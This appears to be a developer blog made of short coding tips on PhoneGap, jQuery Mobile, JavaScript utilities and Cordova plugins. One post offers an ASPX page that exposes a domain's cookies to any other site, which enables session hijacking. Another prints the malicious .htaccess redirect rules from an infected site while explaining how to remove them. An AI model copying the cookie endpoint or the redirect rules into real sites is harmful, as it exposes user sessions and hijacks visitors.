iPad: Splash screen appearing in top left hand corner while loading
On the iPad, if you’re developing on PhoneGap, then you may have seen this problem, where the main splash screen appears, then disappears moments later showing a smaller splash screen in the top left hand corner, partially obscuring content, then disappearing again a few moments later, like this app:

Then you may be surprised with a simple solution, remove the splash/default.png image. This has the side effect of having no splash at all on the iPhone version, but apparently Apple discourage splash screens anyway.
Read Cookies from another domain using Javascript and ASP.NET
Reading cookies from another domain is a security risk, in terms of session hijacking, however, there may be reasons why you may want to do this.
Here is a simple technique that allows Cookies to be read from one domain that have been set on another domain.
First, add an ASPX page with the content shown below, and save it as “xdom.aspx” in the root of your domain (“domain-A”)
var pairs = “<% Response.Write(Request.ServerVariables[“HTTP_COOKIE”]);%>”.split(“;”);
var cookies = {};
for (var i = 0; i < pairs.length; i++) {
var pair = pairs[i].split(“=”);
cookies[pair[0]] = unescape(pair[1]);
}
Then add a html file to another domain (“domain-B”)
<script src=”http://domain-A/xdom.aspx”></script>
<script language=”javascript”>
console.log(cookies);
</script>
Running this in Google Chrome, open developer console, and then expand out “object” and you’ll see the cookies that were set on “domain-A”
CloudCarousel: Rotating diagonally
A nice carousel effect with Javascript can be achieved with “Professor cloud’s cloudcarousel” (http://www.professorcloud.com/mainsite/carousel-test.htm), This carousel rotates in an ellipsis horizontally, by making a small change it is possible to rotate this carousel 45 degrees, so that it rotates diagonally.
First the maths, where I plotted an askew ellipsis with Wolfram | Alpha, as follows:
x= cos(t)cos(1.1)-sin(t)sin(1.1), y=0.5(cos(t)sin(1.1)-sin(t)cos(1.1))
Where 1.1 is the rotation in Radians, and the 0.5 determines how high
and low the carousel should rotate
To translate this into code, I edited the first few lines of the controller “class” as follows:
var Controller = function(container, images, options)
{
var items = [];
var funcSin = function(t){ return 2.2*(Math.cos(t)*Math.sin(2) – Math.sin(t)*Math.cos(2)) };
var funcCos = function(t){ return Math.cos(t)*Math.cos(2) – Math.sin(t)*Math.sin(2) };
var ctx=this;
‘undefined’ is not an object (evaluating ‘d[0][a.expando]’)
I came across a very unusual error with JQuery Mobile (JQM), where I had a few listviews added to a page dynamically, then wanted to initialize them with the $(“.ulXYZ”).listview(); command, this was throwing a cryptic exception:
‘undefined’ is not an object (evaluating ‘d[0][a.expando]’
Which resulted in the first listview on the page not being initialized
My solution, catch the error, and attempt a refresh a second later:
try
{
// Result list may not be yet initialized
$(“.ulXYZ”).listview();
}
catch(e){
console.log(“failed to refresh listview:” + e)
setTimeout(function(){
$(“.ulXYZ”).listview(“refresh”);
console.log(“Attempting refresh”); },1000);
};
Would love to know what the underlying cause of the problem is, but this fixes it after a second delay.
Remove “Buy this book” from Google Book Embedded viewer
The Google book embedded viewer API is a great way to offer previews of books to users on your website. However, there is a prominent link at the foot of the viewer labelled “Buy this book”, which could take sales from your website, and credit them to Google instead.
Here is a simple one-line fix to remove this bar:
$(“#viewerCanvas”).css(“overflow”,”hidden”);
which should be called after viewer.load, and requires jquery.
TinySLUpload data:base64 format
Using the TinySLUpload plugin for TinyMCE is a great silverlight plugin that allows image uploading to any .NET based TinyMCE content management system.
As good as it is, I was looking for a way of embedding the image into the content, so that the image did not have to be hosted on the same server as the CMS system. by using the “data:” URI format specifier for an image,
This is how an image can be represented as part of the HMTL thus:
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO 9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Red dot">
![]()
So, I modified the XAML of TinySLUpload to include an option to embed the image:
<CheckBox x:Name=”cbEmbedImage” IsChecked=”true” Content=”Embed Image”></CheckBox>
Then added code into UpdateShowProgress to handle the conversion from binary to base64
if (cbEmbedImage.IsChecked == true)
{
if (fileColl.Count > 1)
{
ShowError();
return;
}
var fs = fileColl[0].OpenRead();
int intLength = (int)fileColl[0].Length;
byte[] data = new byte[intLength];
fs.Read(data,0,intLength);
var embedded = “data:image/png;base64,” + Convert.ToBase64String(data);
HtmlPage.Window.Invoke(“PopulateFromSL”, embedded);
}
else
{
HtmlPage.Window.Invoke(“PopulateFromSL”, UploadConfig.ImagePath + _file.Name);
}
Handily, since PopulateFromSL still returns a valid image URI path, no other changes are required outside of the silverlight. Of course you still need to compile it to XAP and overwrite the TinySLUpload.xap in the TinyMce\ Plugins \ Advimage folder.
Collection object in Javascript
Often, you’d want to extend the classical Javascript array, and use a collection type object instead. This is a generic collection class that I’ve written:
var Collection=function()
{
// Number of elements in collection
this.count=0;
// The underlying collection
this.collection={};// Add item to the collection with a named key
this.addWithKey=function(key,item)
{
if(this.collection[key]!=undefined)
return undefined;
this.collection[key]=item;
return ++this.count
}// Add item to the collection with a GUID key
this.add=function(item)
{
return this.addWithKey(newGuid(),item);
}// Remove item from the collection by it’s key
this.remove=function(key)
{
if(this.collection[key]==undefined)
return undefined;
delete this.collection[key]
return –this.count
}// Return one item as specied by key
this.item=function(key)
{
return this.collection[key];
}// Apply a function on each element in the collection
this.forEach=function(block)
{
for (key in this.collection)
{
if(this.collection.hasOwnProperty(key))
{
block(this.collection[key],key);
}
}
}// Internal method to generate a Guid
function newGuid() {
var S4 = function() {
return (((1+Math.random())*0x10000)|0).toString(16).substring(1);
};
return (S4()+S4()+”-“+S4()+”-“+S4()+”-“+S4()+”-“+S4()+S4()+S4());
}// Saves the collection to localStorage
this.Save = function()
{
if (typeof JSON == “undefined”)
{
alert(“Include JSON2.js in order to save this collection”);
return;
}
if (typeof localStorage == “undefined”)
{
alert(“Browser does not support localStorage”);
return;
}
var strJson = JSON.stringify(this);
localStorage.setItem(‘collection’, strJson);
return strJson;
}// Loads the collection from localStorage
this.Load = function()
{
if (typeof JSON == “undefined”)
{
alert(“Include JSON2.js in order to load this collection”);
return;
}
var strJson = localStorage.getItem(‘collection’);
if (strJson == null)
{
return false;
}
var loaded = JSON.parse(strJson);
this.count = loaded.count;
this.collection = loaded.collection;
return true;
}
return true;
}
Then typical usage would be:
<html>
<head>
<script language=”javascript” src=”collection.js”></script>
<script language=”javascript”>
function init()
{
var dt1 = new Date();
var dt2 = new Date(“October 13, 1975 11:13:00”);var dates=new Collection();
dates.add(dt1);
dates.add(dt2);var strHtml = “”;
dates.forEach(function(p,key){
strHtml += p + ” (” + key + “)<br>”;
});var output = document.getElementById(“output”);
output.innerHTML = strHtml;
}
</script>
</head>
<body onload=”init()”>
<div id=”output”></div>
</body>
</html>
Localstorage equivalent in Nokia WRT
An unfortunate missing feature in Nokia WRT (Web Runtime) is HTML5 Localstorage, but fear not, there is an alternative:
To Save values, replace the following Localstorage call to a WRT call:
localStorage.setItem key, value
widget.setPreferenceForKey value, key
And the equivalent “Get” is:
localStorage.getItem key
widget.preferenceForKey key
More information on this can be read on the Nokia website:
http://www.developer.nokia.com/Community/Wiki/Storing_settings_in_Symbian_Web_Runtime
ChildBrowser plugin with Cordova 1.7.0
I wanted to use the ChildBrowser plugin with Cordova 1.7.0, so that I could capture url change events when a user navigated from page to page within an iPhone app. It took me about an hour to get working, and I’m not sure if I’d recommend the approach I used, but it here it is, warts and all.
1. Downloaded the ChildBrowser plugin from GitHub, (https://github.com/purplecabbage/phonegap-plugins/tree/master/iPhone/ChildBrowser) – added everything apart from the js file into the Plugins folder.
2. Added the ChildBrowser.js file into the www folder.
3. As per the screenshot below, I added * into the External Hosts, and ChildBrowserCommand into the Plugins dictionary in Cordova.plist
3. 
4. Now it gets hairy – When compiling, it said that CDVPlugin.h was not found, so I hacked this into the ChildBrowserCommand.h file:
#define CORDOVA_FRAMEWORK
#ifdef CORDOVA_FRAMEWORK
#import “CDVPlugin.h”
5. Using code examples online, I could not get ChildBrowser.install() to return anything but null, until I realized that simply including ChildBrowser.js, it was installing itself automatically.
6. Next problem was, that supposedly _onlocationchange(loc) was supposed to fire on new pages, but it wasn’t, so I decided to hack this into onChildLocationChange in ChildBrowserCommand.m
//NSString* jsCallback = [NSString stringWithFormat:@”ChildBrowser._onLocationChange(‘%@’);”,encUrl];
NSString* jsCallback = [NSString stringWithFormat:@”myLocationChange(‘%@’);”,encUrl];
Then, instead of calling ChildBrowser._onLocationChange, it would call myLocationChange
And the final frankenstein-monstrosity (ugly, but working) in HTML was:
<!DOCTYPE html>
<html>
<head>
<meta name=”viewport” content=”width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no;” />
<meta charset=”utf-8″>
<script type=”text/javascript” charset=”utf-8″ src=”cordova-1.7.0.js”></script>
<script type=”text/javascript” charset=”utf-8″ src=”ChildBrowser.js”></script>
<script type=”text/javascript”>
function onBodyLoad()
{
document.addEventListener(“deviceready”, onDeviceReady, false);
}
function onDeviceReady()
{
window.plugins.childBrowser.showWebPage(“http://google.com”);
}
function myLocationChange(loc)
{
alert(“GOT URL:” + loc);
}
</script>
</head>
<body onload=”onBodyLoad()”>
Loading Google…
</body>
</html>
Once again, I’m not recommending this approach, but it worked for me.
Fix: http://ca-no.ru/example/status.php Hack
If your website redirects to http://ca-no.ru/example/status.php when you access it via google, here is the fix:
Delete your .htaccess file, and replace it with this
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
If you’re curious, this is what’s inserted into the .htaccess file, when the site is infected.
<IfModulemod_rewrite.c>
RewriteEngineOn
RewriteCond%{HTTP_REFERER}^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule^(.*)$http://ca-no.ru/example/status.php[R=301,L]
RewriteCond%{HTTP_REFERER}^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule^(.*)$http://ca-no.ru/example/status.php[R=301,L]
</IfModule>
